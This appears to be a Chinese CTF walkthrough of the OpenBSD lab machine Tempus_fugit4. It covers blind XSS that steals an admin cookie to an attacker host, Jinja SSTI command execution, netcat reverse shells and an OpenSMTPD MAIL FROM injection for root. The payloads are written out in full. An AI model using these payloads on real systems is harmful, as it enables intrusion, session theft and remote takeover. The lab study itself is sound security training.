从盲打xss到到模板注入:unix靶机渗透之Tempus_fugit4

靶机总结

盲打xss openBSD渗透 SSTI模板注入 opensmtpd

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.253 -p-
复制代码
nmap -sT -sC -sV -O 192.168.8.253 -p22,80 

操作系统竟然是openBSD( 一个注重安全和稳定的多平台类UNIX操作系统 )

复制代码
nmap --script=vuln 192.168.8.253 -p80

发现一个admin目录

盲打xss

发现一个表单申请提交,尝试一下盲打xss盗取管理员的cookie

先启动kali的apache2

打印apche2日志

复制代码
systemctl start apache2
tail -f /var/log/apache2/access.log

注入xsspayload

复制代码
<img src=x onerror="this.src='http://192.168.8.251/?cookie='+document.cookie">

拆解这个 Payload

  <img src=x          ← src=x 是一个故意写错的 URL,浏览器加载失败
       onerror="..."  ← 加载失败时触发 onerror 事件,执行其中的
  JavaScript

  JavaScript 部分:
  this.src = 'http://192.168.8.251/?cookie=' + document.cookie
       ↓
  把 <img> 的 src 改成攻击机地址,并把 cookie 拼接到 URL 后面
       ↓
  浏览器向 http://192.168.8.251/?cookie=session=.eJwsafefew...
  发起请求

  为什么会成功?

  关键点在于 document.cookie 的读取权限:
  - 如果目标 Cookie 没有设置 HttpOnly 标志,JavaScript 可以直接读取
  - HttpOnly 是防御 XSS 窃取 Cookie 的核心机制,但很多应用遗漏此配置
复制代码
.eJwlj0uKAzEQQ-_idRb1s8vOZRp3fUgIJNCdrIa5ewxBO4knpL-y5RHnrVzfxycuZbt7uRYi6N1lsGFIaDoMs1HBskKnBLcp2kz2RhUrGyHxshoP2WFKGArs0yBsqY1whgxwxZZsPDoQI6P3xubqQBSU0kfm7ORdqFyKnUdu79cjnmtP06CuEDxjelS1WnF4ZV3FK1LHJuwoi_uccfxOSPn_AoaTPnc.akcWsQ.QWTix88hO31689Zy-BNIIlCkRZw

抓取数据包替换cookie

替换

成功登录后台

查看管理员访问日志,取到管理员的cookie

复制代码
Auth=R3JhbnRlZA==; 

加上Auth

SSTI模板注入

整了半天,命令窗口无法交互

观察历史数据包,在admin页面似乎有个auth回显

注入点测试

复制代码
{{6*7}}

base64编码一下,果然有回显

注入点配置

复制代码
config

命令注入

复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

命令回显

openBSD反弹shell

但是之前探测到靶机的系统是openBSD

利用msf生成payload (Only 80 and 443 are allowed out the openBSD firewall )

复制代码
msfvenom -p cmd/unix/reverse_netcat lport=443 lhost=192.168.8.251
复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('mkfifo /tmp/aeqtmgv; nc 192.168.8.251 443 0</tmp/aeqtmgv | /bin/sh >/tmp/aeqtmgv 2>&1; rm /tmp/aeqtmgv').read() }}

成功反弹

msf接收shell

提权

opensmtpd提权

复制代码
netstat -ant|grep LISTEN

发现有一个邮件服务,有提权漏洞

payload还需要一个邮箱域名,正好在js文件中泄露了

手工测试漏洞

复制代码
helo test
250 TempusFugit4 Hello test [10.13.37.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@mofo.org>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: test@test.com
To: root@mofo.org
Subject: x

0
1
2
3
4
5
6
7
8
9
a
b
c
d
id > /tmp/pwn.txt
.
250 2.0.0 3418f88a Message accepted for delivery
Connection closed by foreign host.

查看回显pwn.txt,说明漏洞存在

反弹shell

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.251 80 >/tmp/f

成功提权

相关推荐
掘金酱1 小时前
【10.24 特别活动】AI 时代,程序员的新饭碗在哪里?
前端·人工智能·后端
excel1 小时前
多进程环境下使用 PM2 部署 Socket.IO:需要注意什么
前端
IT_陈寒2 小时前
Redis的原子性竟然失效了?记一次分布式锁翻车实录
前端·人工智能·后端
时间的情敌3 小时前
《回顾 2018 前端:Vue2 成熟期,Webpack4 发布,PWA 大火》
前端
Java后端的Ai之路4 小时前
前端技术Vue-09-webpack-vuejs-实战
前端·vue.js·webpack
LMT流氓兔4 小时前
第五单元——第4课:给工具参数加校验
java·前端·算法·ai·langchain
涛涛ing4 小时前
React Compiler正式“Rust化”:你项目里的Babel插件,正在被编译进打包器
前端
迷迭绿4 小时前
Cesium 轨迹回放播放器
前端·javascript·cesium
HolySaga4 小时前
我用 UTS 写了一个三端同构的蓝牙插件(Android / iOS / 鸿蒙 NEXT),把踩过的坑都讲给你听
前端
程序员老赵5 小时前
Docker 部署 XWiki:轻松搭建企业知识库与协作 Wiki
前端·docker·开源